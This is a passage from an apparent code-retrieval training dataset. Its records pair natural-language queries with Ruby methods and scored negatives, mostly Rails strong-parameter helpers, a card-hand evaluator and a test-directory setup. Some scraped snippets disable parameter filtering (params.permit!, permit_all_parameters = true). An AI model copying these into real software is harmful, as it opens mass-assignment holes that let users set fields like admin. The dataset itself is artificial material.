"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
we define keepable as 4 or more cards with at least 3 lands | def keepable_hand
keepable = false
if @hand.count('land') >= 3 && @hand.count('land') <= 4 && @hand.size > 5
keepable = true
elsif
@hand.count('land') >= 3 && @hand.count('low_curve') >= 1 && @hand.size >= 5
keepable = true
elsif
@hand.count('land') >= 2 && @hand.count('ramp') >= 1 && @hand.size >= 5
end
keepable
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def can_deal?\n size() >= 6\n end",
"def cards_needed\n [@size, 5].min\n end",
"def three_of_a_kind?\n cards_by_rank.values.first.count >= 3\n end",
"def full_house?\n return unless size >= 5\n\n the_cards = cards_by_rank.values\n the_cards[0].count >= 3 && the_cards[1].count >= 2\n end",
"def four_of_a_kind?\n cards_by_rank.values.first.count == 4\n end",
"def n_and_m_of_a_kind? n, m\n hand = values\n values.each do |card|\n if hand.count(card) >= n\n hand.delete(card)\n hand.each { |card2| return true if hand.count(card2) >= m }\n end\n end\n false\n end",
"def can_build?(craft)\n hash = craft.supplies_required\n supplies.keys == hash.keys && supplies.values >= hash.values\n end",
"def cards_has_required_count\n return if errors.messages.size.zero? &&\n cards.sum(&:amount) == DECK_REQUIRED_CARDS_COUNT\n\n errors.add(:cards, 'cards must add up to 30')\n end",
"def full?\n bike_count >= capacity\n end",
"def buyPack\n\t\tpack = Array.new(CARDS_PER_PACK)\n\t\tfor i in 0..CARDS_PER_PACK-2\n\t\t\tpack[i] = randomCard\n\t\tend\n\t\tcontains_rare = pack[0..CARDS_PER_PACK-2].any? {|card| atLeastRare? card}\n\t\tif !contains_rare\n\t\t\tpack[CARDS_PER_PACK-1] = randomRare\n\t\telse\n\t\t\tpack[CARDS_PER_PACK-1] = randomCard\n\t\tend\n\t\treturn pack\n\tend",
"def deal5cards (n)",
"def blackjack?; value == 21 && @cards.length == 2; end",
"def complete?\n @cards.length == 5\n end",
"def six_cards?(player_check)\n if (player_check.hand.length == 6) && (player_check.hand_total < 21)\n return true\n else\n return false\n end\n end",
"def four_of_a_kind?\r\n players_cards.each do |card_obj|\r\n return card_obj.value if players_cards.count {|card| card.value == card_obj.value} == 4\r\n end\r\n false \r\n end",
"def hand?\n @cards_by_score.length == 5\n end",
"def deal_hand no_of_cards\r\n @card_list.deal_hand no_of_cards\r\n end",
"def deal_hand no_of_cards\n @card_list.deal_hand no_of_cards\n end",
"def flush?\n cards_by_suit.any? {|_, v| v.count >= cards_needed}\n end",
"def rule_3 *cards\n if cards.all?(&:face?)\n puts \"Upping the anti! #{cards.map(&:face?)}\"\n cards.raw_integer_value + 50\n end\n end",
"def is_a_set?(cards)\n # The sum when adding one number 3 times or adding 3 consecutive numbers is divisible by 3.\n # This represents having all the same attribute or all different attributes.\n # Adding any other 3 number combo of 1,2,3 will result in a value not divisible by 3, failing to be a set.\n isSet = (cards[0].number + cards[1].number + cards[2].number) % 3 == 0 &&\n (cards[0].color + cards[1].color + cards[2].color) % 3 == 0 &&\n (cards[0].shape + cards[1].shape + cards[2].shape) % 3 == 0 &&\n (cards[0].shade + cards[1].shade + cards[2].shade) % 3 == 0\nend",
"def parking_lot lot_size\n lot_size -= 14 if lot_size >= 14\n while lot_size >1\n return true if (lot_size%2 == 0 || lot_size%5 == 0)\n lot_size-= 7\n end\n return false\nend",
"def isOver?\n @deck.cardsRemaining < MIN_CARDS\n end",
"def full?\n self.length == CARDS.length\n end",
"def victory\n if @findAll + @num_mines >= quantityFields\n return true\n else\n return false\n end\n end",
"def kids_with_candies(candies, extra_candies)\n max_candies = candies.max\n \n candies.each_with_index do |candy, index|\n candies[index] = (candy + extra_candies) >= max_candies ? true : false\n end\n \n candies\nend",
"def can_split()\n hand = @hands[@current_hand]\n if hand.can_be_split() && @hands.length < 4\n if @total_money - hand.bet >= 0\n return true\n end\n end\n return false\n end",
"def busted?(cards)\n\nend",
"def high_card?\n cards_by_rank.count == @size\n end",
"def three_of_a_kind?\n # Go over all the cards and see if we have three of them \n # However, we have to skip any wildcards, since they're always the same\n givens = self.all_not_wild\n return true unless givens.size > 0\n # If all cards are wild, it's also a three of a kind \n for given in givens do \n same = find_same_rank(given)\n # >= because a four of a kind is also a three of a kind\n return true if same.size >= 3\n end\n return false\n end",
"def has_three_bonus_parts\n # placeholder\n # will fill in if issue of accidentally not associating bonus parts\n # becomes actually problematic\n end",
"def poker?\n cuantos_pares == 2 && @pares.group_by{|k, v| k}.size == 1\n end",
"def full?\n @docked_ship_ids.length >= docking_spots\n end",
"def desk_cards\n desk = []\n self.public_deal.each do |i|\n desk.push(i)\n end\n self.hand_deal.each do |i|\n desk.push(i)\n end\n desk\n end",
"def ace_check\n cards[index_of_11][:points] = 1 if index_of_11 && (total > 21)\n end",
"def repetitions(n)\n @hand.group_by{ |card| card.point }.select { |k, v| v.count == n }\n end",
"def cards_left_to_collect\n card_ids = UserCard.select {|card| card[\"user_id\"] == self.id}\n remaining = Card.all.count - card_ids.map { |card| card[\"card_id\"] }.uniq.count\n if remaining == 0\n puts \"=====================================================================\"\n puts \"Congratulations, you have completed the Superhero card album!!\"\n puts \"=====================================================================\"\n else\n puts \"=====================================================================\"\n puts \"You still have #{remaining} cards left to collect...\"\n puts \"=====================================================================\"\n end\n end",
"def discount5\n\t\tif @number_items>=5\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def chargeable? listing\n listing.seller?(@user) && listing.new? \n end",
"def lost?\n @deck.cards.length == 0\n end",
"def under_five(cart)\n\tcart.all? do |item|\n\t\titem.all? do |name, data|\n\t\t\tdata[:price] <= 5\n\t\tend\n\tend\nend",
"def can_buy_drug?(price, qty)\n wallet > (price * qty) \n end",
"def goldenComplete?\n\t\t@cards[TOTAL_UNIQUE_CARDS..2*TOTAL_UNIQUE_CARDS-1].all? { |card| card.complete? }\n\tend",
"def blackjack(hand)\n value(hand) == 21 && hand.length == 2\n end",
"def is_enough\r\n \tProduct.find(@cart_item.product_id).count - @cart_item.count >= 0\r\n end",
"def should_be_store?\n listings.where(state: ['active', 'draft', 'removed', 'sold']).count >= 10\n end",
"def movable?\r\n exist? && restriction < 4\r\n end",
"def available_cards\n (@deck.size + board.size)\n end",
"def is_available?(party_size)\n confirmed = self.commitments.sum(:party_size)\n self.capacity - (confirmed + party_size) >= 0\n end",
"def n_of_a_kind? n\n values.each { |card| return true if values.count(card) >= n }\n false\n end",
"def can_supply?(required)\n total_on_hand >= required || backorderable?\n end",
"def onalg_pesca_carta(carte_player)\r\n #expect only one card\r\n @log.info \"ALG[#{@alg_player.name}]: card picked #{carte_player.join(\",\")}\"\r\n carte_player.each do |card|\r\n @cards_on_hand << card\r\n end \r\n if @cards_on_hand.size > @num_cards_on_hand\r\n raise \"ERROR onalg_pesca_carta: #{@cards_on_hand}\"\r\n end\r\n @num_cards_on_deck -= (carte_player.size * @players.size) \r\n end",
"def shouldHit\n # If 17 or above, lock the hand so it cannot receive any more cards\n \tif @hands[0].checkHand > 16 or @hands[0].checkHand < 0\n \t @hands[0].lock\n \tend\n \t@hands[0].canGetCards\n end",
"def add_three_cards\n cards = self.assignments.remaining.first(3)\n cards.each do |card|\n card.update_attribute(:card_status, \"in_play\")\n end\n end",
"def can_put_in_foundation?\n (@pile_beneath.empty? && @card_to_drop.rank.ace?) ||\n (@card_beneath && foundation_conditions?(@card_beneath))\n end",
"def no_of_cards\r\n @card_list.no_of_cards\r\n end",
"def no_of_cards\r\n @card_list.no_of_cards\r\n end",
"def no_of_cards\n @card_list.no_of_cards\n end",
"def no_of_cards\n @card_list.no_of_cards\n end",
"def no_of_cards\n @card_list.no_of_cards\n end",
"def player_card_minors(_player)\n []\n end",
"def four_of_a_kind?\n # Go over all the cards and see if we have four of them \n # However, we have to skip any wildcards, since they're always the same\n givens = self.all_not_wild\n return true unless givens.size > 0\n # If all cards are wild, it's also a four of a kind \n for given in givens do \n same = find_same_rank(given)\n # >= because a five of a kind is also a four of a kind\n return true if same.size >= 4\n end\n return false\n end",
"def draw3more(deck)\n for i in 1..3\n @cardsShown << deck.draw\n end\n end",
"def can_fly_many_aircraft_types\n return false if self.licenses.nil?\n return self.licenses.count(:all, :select => 'DISTINCT aircraft_type_id') > 1\n end",
"def has_lost?\n @deck.cards == []\n end",
"def pbBoxesFull?\n return !$Trainer || ($Trainer.party.length==6 && $PokemonStorage.full?)\nend",
"def full_house?\n @card_value_hash.value?(3) && @card_value_hash.value?(2)\n end",
"def chargeable?; true; end",
"def can_build?(craft)\n x = transform_values(craft.supplies_required.keys)\n if @supplies.keys.sort == x.sort\n true\n else\n false\n end\n end",
"def dealer_won?\n !dealer.busted? && (player.busted? || dealer.cards_total > player.cards_total) \nend",
"def eval_7_card_hand( cards )\n 1\n end",
"def kids_with_candies(candies, extra_candies)\n \n result = []\n max = candies.max\n candies.each do |el|\n result << (el + extra_candies >= max)\n end\n \n return result\n \nend",
"def should_collect_functioning_bikes?(container)\n !self.full? && container.functioning_bikes.count >= 1\n end",
"def spaceAvailable\n\t\treturn @maxElements > @weapons.length + @shieldBoosters.length\n\tend",
"def threed(list)\n i = 0\n count_3 = 0\n while i < (list.size)\n if list[i] == 3 && list[i + 1] == 3\n return false\n end\n \n if list[i] == 3\n count_3 += 1\n end\n\n if count_3 > 3\n return false\n end\n i += 1\n end\n\n if count_3 == 3\n return true\n else \n return false\n end\nend",
"def smart_aces hand\n# Adjusts the value of \"Ace\" elements to be either 1 or 11 depending on the hand total\n\thand_total = hand.reduce :+\n\tif hand_total < 12 && hand_total > 2\n\t\thand.map! do |card|\n\t\t\tif card == 1\n\t\t\t\t11\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total > 21\n\t\thand.map! do |card|\n\t\t\tif card == 11\n\t\t\t\t1\n\t\t\telse\n\t\t\t\tcard\n\t\t\tend\n\t\tend\n\telsif hand_total == 2\n\t\thand[0] = 11\n\tend\n\nend",
"def payment_possible_for?(listing)\n listing.price && listing.price > 0 && stripe_in_use?\n end",
"def four_of_a_kind?\n high_single_card = -1\n four_card = -1\n (12).downto(0) do |i|\n if @ranks[i] > 0 && @ranks[i] != 4 && high_single_card == -1\n high_single_card = i\n end\n if @ranks[i] == 4\n four_card = i\n end\n end\n if four_card != -1\n return [8, four_card, high_single_card, -1, -1, -1]\n end\n return false\n end",
"def over_capacity?\n @passengers.length > @capacity\n end",
"def determine_playable_cards\n playable_cards = []\n hand.each do |card_in_hand|\n if card_in_hand[\"cost\"] <= @mana_available\n playable_cards.push(card_in_hand)\n end \n end\n if mana_available >= 2\n playable_cards.push(\"hero ablity\")\n end\n playable_cards\n end",
"def no_of_cards\n @cards.length\n end",
"def flush\n my_hand.group_by(&:suit).select { |_, hand_of_suit| hand_of_suit.count == 5 }.values.flatten\n end",
"def broke?(minimum_bet)\n if self.chips < minimum_bet\n true\n else\n false\n end\n end",
"def royal_flush(hand)\nsuit_value = []\nface_value = []\n\thand.each do |card|\n\t\tface_value << card[0]\n\t\tsuit_value << card[1]\n\tend\n\t# suit_value = card_separator(hand)\n\t# If statement checking length of the suit value after suits are separated from royal flush => should all be \"d\" for diamonds(uniq removes all duplicates making the length 1)\n\tif suit_value.uniq.length == 1\n\t\t# Then if face_value inlcudes the [\"A\", \"K\", \"Q\", \"J\", \"T\"] faces, the hand1 value will return true\n\t\ttrue if face_value.include?(\"A\") && face_value.include?(\"K\") && face_value.include?(\"Q\") && face_value.include?(\"J\") && face_value.include?(\"T\")\n\tend\nend",
"def add_mandatory_items\n @items.select { |item| item.rule.min.positive? }.each do |item|\n item.rule.min.times { add_item_to_card(item) }\n end\n end",
"def have_enough_items_to_trade?\n fetch_inventory\n\n is_valid = true\n\n max_avaliable_quantity = @offer[:records].map {|x|\n [x.item_name.to_sym ,x.quantity]}.to_h\n\n @offer[:items].each do |item, quantity|\n if quantity > max_avaliable_quantity[item.to_sym]\n is_valid = false\n add_error(:offer, :items, {item.to_sym =>\n \"Not enough items, only #{max_avaliable_quantity[item.to_sym]} available\"})\n end\n end\n\n max_avaliable_quantity = @for[:records].map {|x|\n [x.item_name.to_sym ,x.quantity]}.to_h\n\n @for[:items].each do |item, quantity|\n if quantity > max_avaliable_quantity[item.to_sym]\n is_valid = false\n add_error(:for, :items, {item.to_sym =>\n \"Not enough items, only #{max_avaliable_quantity[item.to_sym]} available\"})\n end\n end\n is_valid\n end",
"def size_check\n @size_check = [0,0,0]\n self.rewards.each do |reward|\n @size_check[reward.size] = 1\n end\n return @size_check\n end",
"def servings_left\n \t\tremaining = self.servings\n \t\tself.line_items.each do |line_item|\n \t\t\tremaining -= (line_item.quantity_purchased) if line_item.shopping_cart && line_item.shopping_cart.active\n \t\tend\n \t\tif remaining <= 0\n \t\t\tself.active = false\n \t\tend\n \t\tremaining\n\tend",
"def should_collect_broken_bikes?(container)\n !self.full? && container.broken_bikes.count >= 1 \n end",
"def card_in_game\n (2..14).each {|r| (1..4).each { |i| @pack_of_card << [i, r] }}\n @cards = @pack_of_card.shuffle.take(7)\n # @hash_7_card is hash prepared for analyze combinations and the highest combination to win\n $hash_7_card = array_suit_rank\n end",
"def build_player_hand_with_no_ace(current_player)\r\n\tif current_player.total_value >= 17 ||\tcurrent_player.total_value >= 13 && @dealer.total_value <= 6 || current_player.total_value == 12 && @dealer.total_value <= 6 && @dealer.total_value >= 4 # The \"Standard Strategy\" for blackjack\r\n\t\treturn\r\n\telse\r\n\t\[email protected]_off_top_to(current_player, 1)\r\n\t\tbuild_player_hand_with_ace(current_player) and return if current_player.ace_present?\r\n\t\tbuild_player_hand_with_no_ace(current_player)\r\n\t\treturn\r\n\tend\r\nend",
"def blackjack?\n\t\treturn (hand.length == 2 and hand_value == BustLimit)\n\tend",
"def shares_available_for_purchase?\n if Stock.all.find_by(id: trade.stock_id).shares_available < trade.num_shares\n return false\n else\n return true\n end\n end",
"def has_places?\n capacity > 0\n end",
"def available?\n self.available_product_supplies.length > 0 and not self.delete?\n end",
"def card\n false\n end",
"def three_of_a_kind?\n repeat_counts.include? 3\n end",
"def add_car(car_type)\n case car_type\n when 1\n #big\n return false if @big == 0\n @big -= 1\n when 2\n #medium\n return false if @medium == 0\n @medium -= 1\n when 3\n #small\n return false if @small == 0\n @small -= 1\n else\n return false\n end\n return true\n end",
"def get_cards_above_10\n return ['V', 'Q', 'K', 'A']\nend",
"def availibility(party_size, date)\n\t\treserved = reservations.sum(:party_size)\n party_size <= (capacity - reserved)\n end"
] | [
"0.66396385",
"0.6379532",
"0.6255486",
"0.60741144",
"0.5935389",
"0.59204465",
"0.5745587",
"0.5735135",
"0.5698495",
"0.5657136",
"0.563316",
"0.56197435",
"0.56193304",
"0.561488",
"0.5578064",
"0.55661327",
"0.555569",
"0.55495304",
"0.551384",
"0.5509186",
"0.5461913",
"0.5457647",
"0.5453958",
"0.5447572",
"0.54384017",
"0.5435475",
"0.54260486",
"0.5425645",
"0.53962386",
"0.5391302",
"0.53897464",
"0.53894955",
"0.5388622",
"0.5363463",
"0.5350351",
"0.53418344",
"0.5333728",
"0.5329619",
"0.5293401",
"0.52921563",
"0.5291241",
"0.52894366",
"0.5289307",
"0.5283185",
"0.5272435",
"0.52506787",
"0.5249174",
"0.5247176",
"0.5244217",
"0.52394277",
"0.5228797",
"0.5224466",
"0.52227795",
"0.5218478",
"0.52003485",
"0.51966363",
"0.51966363",
"0.51960456",
"0.51960456",
"0.51960456",
"0.5194884",
"0.5193827",
"0.51906383",
"0.5190363",
"0.5188596",
"0.5188174",
"0.51880985",
"0.51805985",
"0.5178001",
"0.5177442",
"0.5174494",
"0.51731795",
"0.5171768",
"0.51694316",
"0.51675415",
"0.5166161",
"0.5160741",
"0.5159473",
"0.5152042",
"0.51388365",
"0.5129789",
"0.5128046",
"0.5125687",
"0.5124026",
"0.51137954",
"0.5107342",
"0.51060605",
"0.510094",
"0.5100016",
"0.50947183",
"0.5093781",
"0.5092144",
"0.50918293",
"0.50888187",
"0.5087818",
"0.5086268",
"0.50820565",
"0.5080956",
"0.508001",
"0.5076111"
] | 0.7562322 | 0 |
save the starting dir to restore later | def setup
# wipe and recreate .test directory
Dir.chdir(@@start_dir)
if File.exist?('.test')
FileUtils.rm_rf('.test')
end
# NOTE: I don't think we want to kill .repository in pwd from running test
if File.exist?('.repository')
FileUtils.rm_rf('.repository')
end
Dir.mkdir('.test')
Dir.chdir('.test')
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def restore_dir\n cd @dir\n end",
"def store_dir\n @dir = Dir.pwd\n end",
"def saving_path\n path = home_path + '/.gitstagram'\n \n Dir.mkdir(path) unless Dir.exists?(path)\n path\n end",
"def save_dir(filename)\n @save_save_dir = @dispatch.save_dir\n @dispatch.save_dir = File.dirname(filename)\n end",
"def backup_dir\n @backup_dir ||= create_backup_dir\n end",
"def save_dir_pos\n # the next line meant that it would not save first directory.\n # return if @sta == 0 && @cursor == 0\n\n @dir_position[Dir.pwd] = [@sta, @cursor]\nend",
"def persist!\n ::File.write(self.path, Marshal.dump(self))\n rescue => e\n puts e.message\n exit\n end",
"def restart_dir; end",
"def restore_directory\n config[\"restore_dir\"] ||= begin\n dir_name = File.join(tmp_dir, backup_name)\n if File.directory?(dir_name)\n # clean restore directory if it exists\n FileUtils.rm_r(Dir.glob(\"#{dir_name}/*\"))\n else\n FileUtils.mkdir_p(dir_name)\n end\n dir_name\n end\n end",
"def wRestoreDump()\n puts \"Back up commencing...\"\n Dir.chdir('/Users/jeydurai')\n system('start_mongorestore.bat')\n end",
